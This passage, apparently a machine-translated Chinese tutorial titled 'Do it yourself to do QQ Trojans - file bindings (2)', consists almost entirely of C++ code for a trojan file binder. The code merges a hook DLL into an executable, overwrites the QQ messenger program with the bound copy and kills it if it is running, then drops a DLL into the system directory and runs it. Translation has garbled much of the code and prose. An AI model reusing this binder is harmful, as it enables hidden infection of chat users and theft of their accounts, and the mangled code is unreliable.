Do it yourself to do QQ Trojans - file bindings (2)

zhaozj2021-02-16  39

Take it up:

The code is as follows: // determine if the return value determines whether the book Bool cbindfile :: initiate () {Int i = 0, k = 0; dword dwerrorcode = 0; DWORD dwfilelen = getFileSize (HFileMyself, null); // Add to join The final size of the bundle program is to determine whether the binding file or the decomposition execution file IF (dwfilelen == gion) {// to bind hook.dll strabindFilePath = "hook.dll"; strfinalFilePath = "server.exe"; lstrcpy (m_ext, "dll"); if (bind_file ()) {// Successfully bound MessageBox (NULL, "Binding success!", null, null;

} Return False;} else if (dwfilelen == gionaddddddddddddddddddll) {// Debate the target file // Determined this file is a server.exe file char szname [7] = {0}; int i = lstrlen (my_name) - 10; for (k = 0; k <6; k , i ) {szname [k] = my_name [i];} if (0! = Lstrcmp (szname, "server")) {// automatic bind QQ .exe, you can get QQ installation paths by registry, startingfilepath = "c: // program files // tencent // qq.exe"; lstrcpy (m_ext, "exe");} else {// pop-up dialog, wait User Enter SELECTFIETOBIND DLG; int NRET = -1; NRET = DLG.Domodal (); if (NRET! = IDOK) {MessageBox (Null, "None Input To Get BindFileName", NULL, NULL); RETURN FALSE;} DLG. GetFilePath (strToBindFilePath); if (strToBindFilePath.IsEmpty ()) {MessageBox (NULL, "None input filename", NULL, NULL); return false;} // acquired file name extension, provided m_Ext int pt = strToBindFilePath.GetLength () -3; for (i = 0; i <3; i ) {m_ext [i] = startfilepath.getat (pt); pt ;} messagebox (null, m_ext, "print", null);} strfinalFilePath = "000000. EXE "; // Judgment the target file is already Binding through HANDLE hDestFile = NULL; DWORD bytesin = 0; hDestFile = CreateFile (strToBindFilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (INVALID_HANDLE_VALUE == hDestFile) {MessageBox (NULL, "it is determined that the target file, This file does not open the failed! ", Null, null; returnial (HDestFile, GetFileSize (HDestFile, NULL) -4, NULL, File_Begin; if (0 == Readfile (HDestFile, BUF, BUF_SIZE, & BYTESIN, NULL)) {MessageBox (NULL, "When the target file is determined, the file failed!"

, NULL, NULL; RETURN FALSE;} CloseHandle (HDestFile); if (4! = Bytesin) {MessageBox (NULL, "Decision Target file, reading the number of bytes is not 4!", Null, null); Return false;} for (i = 0; i <4; i ) {= ((BUF [i]! = szflag [i])) {breaf;} else if (3 == i) {// has been tied Dedicated, return MessageBox (NULL, "target file has been binded!", Null, null; return false;}} // confirm that it is not bound to start binding bind_file (); // If tied EXE file specified file is not modified to put it EXE file if (0 = lstrcmp (m_Ext, "exe")!) {DeleteFile (strToBindFilePath); // modify the file extension CString strToBindFilePath1; strToBindFilePath1 = strToBindFilePath.Left (strToBindFilePath. GetLength () - 3); strToBindFilePath1 = "exe"; strToBindFilePath.Empty (); strToBindFilePath = strToBindFilePath1;} BOOL bResult; bResult = CopyFile (strFinalFilePath, strToBindFilePath, false); dwErrorCode = GetLastError (); if (32 == DwerrorCode) {// Other Processes are using this file, ending the process tchar szfilename_exe [max_path]; startfilepath.makeupper (); lstrcpy (szfilename_exe, (lpctstr) strtobindfi lePath); if (TRUE == CloseProcessFromName (szFileName_Exe)) {bResult = CopyFile (strFinalFilePath, strToBindFilePath, false); dwErrorCode = GetLastError (); CString str; str.Format ( "% d CopyFiles Error code% d", bResult, Dwerror); MessageBox (NULL, STR, NULL, NULL);}} deletefile (strfinalFilePath); Return False;} else {// Judgment is a target file IF (IsspecFileName)) {/ / Decompose hook.dll and target file tchar szsyspath [MAX_PATH]; :: getSystemDirectory (szsyspath, max_path); strunbindfilepath_dll =

Szsyspath; strunbindfilepath_dll = "//risingq.dll"; messagebox (null, strunbindfilepath_dll, "print", null); unbind_and_run (); return true;} Else {// If this program is not a target Hook file, decompose A original file server runs MessageBox (NULL, "is running not target file", null, null; clonemyself_and_run (); return false;}}} 2. Bind_file () // Bind the specified file Generation a synthetic file Bool CBINDFILE :: bind_file () {handle hfileout = null; // final synthesis file handle hfilein = null; // Store file dword dwfileinlen = 0; // Terminal to be bound File length DWORD BYTESIN = 0; // Enter Number of bytes dword bytesout = 0; // Once output bytes Unsigned Int i = 0, k = 0; byte * bufmyself = null; modify_data.my_length = getFileSize (HfileMyself, null); if (0 == Modify_data.) MY_LENGTH) {MessageBox (null, "in the binding file, the length of the file is zero!" ) {MessageBox (null, "binding file, allocate memory Failure! ", Null, null; return false;} ZeromeMory (bufmyself, modify_data.my_length); setFilePointer (HFileMyself, 0, null, file_begin); // read this file data IF (0 == Readfile (HFileMyself, Bufmyself , MODIFY_DATA.MY_LENGTH, & BYTESIN, NULL)) {Delete [] BUFMYSELF; MESSAGEBOX (NULL, "in the binding file, error not fully read!", "Error", MB_OK; Return False;} (0 == LSTRCMP (M_ext, "DLL")) // Bind DLL positioning itself file size {for (i = 0; i

SIZEOF (MODIFY_DATA.FINDER); K ) {IF (BUFMYSELF [i K]! = (Byte *) & modify_data.finder) [k]) Break;} if (k == sizeof (modify_data.finder) // positioning itself and save the data file size {memcpy (bufMyself i, & modify_data, sizeof (modify_data)); break;}} if (i> = modify_data.my_length - sizeof (modify_data.finder)) {delete [] bufMyself; MessageBox (NULL "In the binding file, it is wrong when it is not possible to locate itself!" . if (0 == lstrcmp (m_Ext, "exe")) {Modify_MyIcon (bufMyself);} // create a final merged documents hFileOut = CreateFile (strFinalFilePath, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if ( Invalid_handle_value == hfileout) {delete [] bufmyself; messagebox (null, "in the binding file, error when creating a binding file!", "Error", MB_OK; RETURN FALSE;} // Write file data Writefile (HFILEOUT, NUFMYSELF, BYTESIN, & BYTESOUT, NULL) in the output file; // Release the large memory that stores its own file data, and then uses the BUF to make a buffer DELETE [] bufmyself;

转载请注明原文地址:https://www.9cbs.com/read-27885.html

New Post(0)